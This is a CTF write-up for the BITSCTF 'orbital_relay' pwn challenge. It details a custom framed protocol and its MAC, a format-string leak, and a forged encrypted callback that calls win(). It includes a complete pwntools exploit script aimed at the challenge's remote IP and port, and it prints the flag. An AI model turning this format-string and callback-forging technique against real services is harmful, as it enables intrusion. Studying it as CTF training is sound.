Category: Binary Exploitation
Flag: BITSCTF{0rb1t4l_r3l4y_gh0stfr4m3_0v3rr1d3}
Challenge Description
Given orbital_relay.tar.gz. Remote: nc 20.193.149.152 1339
Protections: Full RELRO, Canary, NX, SHSTK, IBT.
Analysis
The service uses a binary framed protocol:
Handshake: Client sends SYNCv3?, server responds with 4-byte little-endian session value.
Frame format: chan:u8 | flags:u8 | len:u16(le) | mac:u32(le) | payload[len]
MAC function:
acc = (chan<<16) ^ sess ^ flags ^ 0x9e3779b9;for each payload byte b: acc = rol32(acc, 7); acc ^= (b + 0x3d);Key bug chain in diagnostics handling:
-
TLV tag
0x10decrypts attacker bytes into a global string buffer -
TLV tag
0x40triggers:__printf_chk(2, controlled_buffer, st80, st, keep_win)— format string primitive -
Tag
0x31sets encrypted callback pointer. On teardown (chan=9), server decrypts and calls it
Callback decode: decoded = cb_enc ^ (((uint64_t)st80 << 32) ^ st84 ^ 0x9e3779b97f4a7c15)
Exploitation
-
Pass auth with proper MAC computation
-
Use format string to leak
winfunction address -
Forge
cb_encso decoded callback == leakedwin -
Trigger channel 9 to execute
win()which printsflag.txt
File used: solve.py
# !/usr/bin/env python3from pwn import *import reimport struct
HOST = "20.193.149.152"PORT = 1339
ST84_INIT = 0x28223B24SEED_INIT = 0x3B152813AUTH_XOR = 0x31C3B7A9CB_CONST = 0x9E3779B97F4A7C15
def mix32(x: int) -> int: x &= 0xFFFFFFFF x = (((x << 13) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF x = ((x >> 17) ^ x) & 0xFFFFFFFF x = (((x << 5) & 0xFFFFFFFF) ^ x) & 0xFFFFFFFF return x
def kbyte(seed: int, idx: int) -> int: idx16 = idx & 0xFFFF v = (seed + ((idx16 * 0x045D9F3B) & 0xFFFFFFFF)) & 0xFFFFFFFF return mix32(v) & 0xFF
def mac32(payload: bytes, chan: int, flags: int, sess: int) -> int: acc = (((chan & 0xFF) << 16) ^ (sess & 0xFFFFFFFF) ^ (flags & 0xFF) ^ 0x9E3779B9) & 0xFFFFFFFF for b in payload: acc = ((acc << 7) | (acc >> 25)) & 0xFFFFFFFF acc ^= (b + 0x3D) & 0xFFFFFFFF return acc
def frame(chan: int, flags: int, payload: bytes, sess: int) -> bytes: return ( struct.pack("<BBHI", chan, flags, len(payload), mac32(payload, chan, flags, sess)) + payload )
def tlv(tag: int, value: bytes) -> bytes: if len(value) > 0xFF: raise ValueError("TLV value too long") return bytes([tag & 0xFF, len(value)]) + value
def enc_for_tag10(plain: bytes, st80: int, st84: int) -> bytes: seed = (st80 ^ st84) & 0xFFFFFFFF return bytes([(plain[i] ^ kbyte(seed, i)) & 0xFF for i in range(len(plain))])
def start(): if args.LOCAL: return process(["./orbital_relay"]) return remote(HOST, PORT)
def main(): io = start()
io.send(b"SYNCv3?") sess = u32(io.recvn(4)) log.info(f"session = {sess:#x}")
st84 = ST84_INIT st80 = mix32(SEED_INIT)
auth_token = (mix32(st84 ^ sess) ^ AUTH_XOR) & 0xFFFFFFFF io.send(frame(3, 0, p32(auth_token), sess))
# set state > 2 requirement for teardown path io.send(frame(1, 0, tlv(0x22, b"\x03"), sess))
# format-string leak path leak_fmt = b"%p|%p|%p\n" enc = enc_for_tag10(leak_fmt, st80, st84) leak_req = tlv(0x10, enc) + tlv(0x40, b"") io.send(frame(1, 0, leak_req, sess))
leak_blob = io.recvuntil(b"relay/open\n", timeout=3.0) if not leak_blob: leak_blob = io.recvrepeat(1.0)
m = re.search(rb"0x[0-9a-fA-F]+\|0x[0-9a-fA-F]+\|(0x[0-9a-fA-F]+)", leak_blob) win_addr = int(m.group(1), 16) log.success(f"win = {win_addr:#x}")
key = (((st80 & 0xFFFFFFFF) << 32) ^ (st84 & 0xFFFFFFFF) ^ CB_CONST) & 0xFFFFFFFFFFFFFFFF cb_enc = win_addr ^ key
io.send(frame(1, 0, tlv(0x31, p64(cb_enc)), sess)) io.send(frame(9, 0, b"", sess))
out = io.recvrepeat(2.0) print(out.decode(errors="ignore"))
if __name__ == "__main__": main()Run:
python3 solve.py